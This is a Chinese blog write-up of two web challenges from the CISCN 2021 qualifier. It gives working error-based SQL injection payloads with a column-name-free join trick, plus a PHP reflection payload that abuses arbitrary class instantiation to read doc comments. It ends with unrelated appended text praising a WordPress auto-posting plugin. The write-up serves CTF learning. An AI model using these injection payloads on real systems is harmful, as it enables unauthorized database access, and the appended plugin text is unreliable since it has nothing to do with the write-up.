【WP】CISCN2021初赛-WEB部分

WEB

Easysql

模糊测试

发现columnsinformationunion(大小写)被过滤

在这里插入图片描述

报错回显点

UNION联合注入无法使用,测试登录发现报错点

在这里插入图片描述

回显位和库名

我们采用报错注入,用and做语法连接

// 测试列数
wyx123')and(select 1)#
// 爆破库名
wyx123')and(select updatexml(1,concat(0x7e,database(),0x7e),1))#
列名的猜解-无列名注入

当我们构造连接查询,对其加上using限制(using:连接查询的条件),当被连接的两个表包含名字完全相同的列时,当使用using,必须将所有的列名包含,否则会产生列名字的重复,系统无法处理产生报错。
当未包含全部出现重复的列名时,将会按照从左到右的顺序,每次一个的将列名列出(我们可以将目标库自己和自己连接)。

select * from (select * from demo1 a join (select * from demo1)b using(xxx))c;

在这里插入图片描述

前面被卡在了列名处

猜测表名为flag,猜测一个列名为id(后边用sqlmap验证了,存在id这一列),我们构造

在这里插入图片描述
在这里插入图片描述

// 利用报错注入爆破列名(第一步)
uname=wyx123')and(select%20extractvalue(1,concat(0x7e,(select * from(select * from flag a1 join (select * from flag) a2 using(id,no))a3))))#&passwd=2333&Submit=%E7%99%BB%E5%BD%95
-> no
// 利用报错注入爆破列名(第二步)
uname=wyx123')and(select%20extractvalue(1,concat(0x7e,(select * from(select * from flag a1 join (select * from flag) a2 using(id,no))a3))))#&passwd=2333&Submit=%E7%99%BB%E5%BD%95

-> `0d3bc3e9-2a27-4e93-a912-731a588ca07e`
爆破数据
wyx123')and(select updatexml(1,concat(0x7e,left((select `0d3bc3e9-2a27-4e93-a912-731a588ca07e` from flag),32),0x7e),1))#
// 前半段:CISCN{0nB2q-HgicN-WRaVM-H2Swj-R
wyx123')and(select updatexml(1,concat(0x7e,right((select `0d3bc3e9-2a27-4e93-a912-731a588ca07e` from flag),20),0x7e),1))#
// 后半段:~-WRaVM-H2Swj-RD7n3-}~
//合并: CISCN{0nB2q-HgicN-WRaVM-H2Swj-RD7n3-}

Easy_source

扫描目录

使用disearch和手写脚本扫描目录,发现index.php.swo备份文件

源代码
本题目没有其他代码了噢,就只有这一个文件,虽然你看到的不完全,但是你觉得我会把flag藏在哪里呢,仔细想想文件里面还有什么?
<?php
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }

    function e()
    {
        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }

    function i()
    {
        return ++self::$c;
    }

    function j()
    {
        return ++self::$c;
    }

    function k()
    {
        return ++self::$c;
    }

    function l()
    {
        return ++self::$c;
    }

    function m()
    {
        return ++self::$c;
    }

    function n()
    {
        return ++self::$c;
    }

    function o()
    {
        return ++self::$c;
    }

    function p()
    {
        return ++self::$c;
    }

    function q()
    {
        return ++self::$c;
    }

    function r()
    {
        return ++self::$c;
    }

    function s()
    {
        return ++self::$c;
    }

    function t()
    {
        return ++self::$c;
    }
    
}

$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());
本地测试

生成对象,调用方法

$x=new User;
echo $x->d();

发现只是完成了一个输出的操作

类中的方法很多,而且最后使用了var_dump(),猜测是读取某个类对应的注释

$method= new $rc($ra, $rb);
var_dump($method->$rd());

且上述语句可以生成一个任意类对象,且可以调用一个方法,且参数可控。

方案

关于读取对象的注释,我们采用内置类 ReflectionMethod中的__toString或者getDocComment对函数进行读取

类和方法原型

$obj = new ReflectionClass(B::class);
$obj->getDocComment();	// 注释
$obj->__toString ()		//字符串对象

所以我们的构造目标

$method= new ReflectionClass('user', '对象方法');
var_dump($method->getDocComment());
本地测试2
/**
 * @doc this-is-a-test
 */
function c()
{
    return ++self::$c;
}

在这里插入图片描述
在这里插入图片描述

Payload
http://xxx.xxx.xxx?rc=ReflectionMethod&ra=User&rb=$$&rd=getDocComment

因为我们要指定对象的方法,才能看到对应方法上方的注释,所以我们要进行爆破
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: wp-autopost-pro-3.7.8是一款WordPress插件,用于自动发布文章和内容到WordPress网站。它提供了一种便捷的方式来自动化发布内容,节省了博主的时间和精力。 该插件具有多种功能和特点。首先,它可以根据设定的规则自动从其他网站或特定源获取文章,并在指定的时间和日期自动发布到你的WordPress网站上。这样,你就可以轻松地保持你的网站更新和内容丰富。 另外,wp-autopost-pro-3.7.8还支持设置关键词过滤,可以根据关键词过滤来选择发布的文章。这对于博主来说,可以更好地控制发布的内容和选择适合自己网站主题的文章,提高网站的质量和可信度。 该插件还提供了一些额外的功能,如定时发布、文章摘要、添加标签和分类等。这些功能使得发布文章更加详细和便捷,可以更好地满足用户的需求和期望。 总的来说,wp-autopost-pro-3.7.8是一款强大的WordPress插件,为博主提供了自动发布文章和内容的功能。它可以帮助博主节省时间,提高工作效率,并且保持网站的内容更新和丰富。无论是个人博客还是商业网站,都可以受益于这个插件的使用。 ### 回答2: wp-autopost-pro-3.7.8是一款WordPress插件,它可以帮助网站管理员自动发布内容。 这个插件的主要功能是自动化发布文章。它可以根据设定的规则和时间表,在指定时间自动从指定来源获取文章,并发布到网站上。这样,管理员就不需要手动发布每一篇文章,节省了大量时间和精力。同时,自动发布还可以保证网站内容的更新频率,增加用户对网站的访问和黏性。 除了自动发布,wp-autopost-pro-3.7.8还具有其他实用的功能。例如,它可以自动设置文章的特色图片,使得网站的展示更加美观。它还支持自定义文章的摘要,可以帮助管理员快速浏览和分类文章。另外,插件还提供了灵活的设置选项,管理员可以根据自己的需求进行调整,以便达到最佳的发布效果。 需要注意的是,虽然自动发布能够帮助网站管理员省去繁琐的手动操作,但也需要管理员进行一定程度的监控。毕竟,自动化的程序难免会出现一些小问题,导致发布内容的质量不如手动发布。因此,管理员仍然需要关注和检查自动发布的文章,以确保其质量和准确性。 总之,wp-autopost-pro-3.7.8是一款功能强大的WordPress插件,可以帮助网站管理员自动化发布内容,提高工作效率。但在使用过程中,管理员仍然需要进行一定的监控和调整,以确保自动发布的文章质量。 ### 回答3: WP-AutoPost-Pro-3.7.8是一款用于WordPress网站的高级自动发布插件。该插件允许用户自动发布内容,而无需手动编辑和发布每篇文章。 WP-AutoPost-Pro-3.7.8具有许多强大的功能。首先,它支持多种自动发布方式,如RSS源、Google新闻、Twitter等。用户可以轻松地将这些来源与他们的网站相关的内容自动同步。 其次,该插件还具有高度可定制的选项,用户可以根据自己的需求定制发布规则、内容格式以及发布频率等。这样,用户可以根据自己的网站需求和目标受众来调整自动发布的方式,以达到更好的效果。 除此之外,该插件还支持关键词过滤和内容重写功能。用户可以设置关键词过滤器,只选择和自己网站相关的文章进行自动发布,避免发布与网站无关的内容。同时,插件还可以自动重写选定文章的内容,使其更加独特,避免内容重复问题。 最后,在使用WP-AutoPost-Pro-3.7.8时,用户还可以轻松监控和管理自动发布的内容。插件提供了详细的统计报告,用户可以随时了解每篇文章的发布情况。此外,用户可以对发布的文章进行管理,包括编辑、删除等。 总的来说,WP-AutoPost-Pro-3.7.8是一款功能强大的自动发布插件,可以帮助WordPress网站的管理员节省时间和精力,提高网站的内容更新效率。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值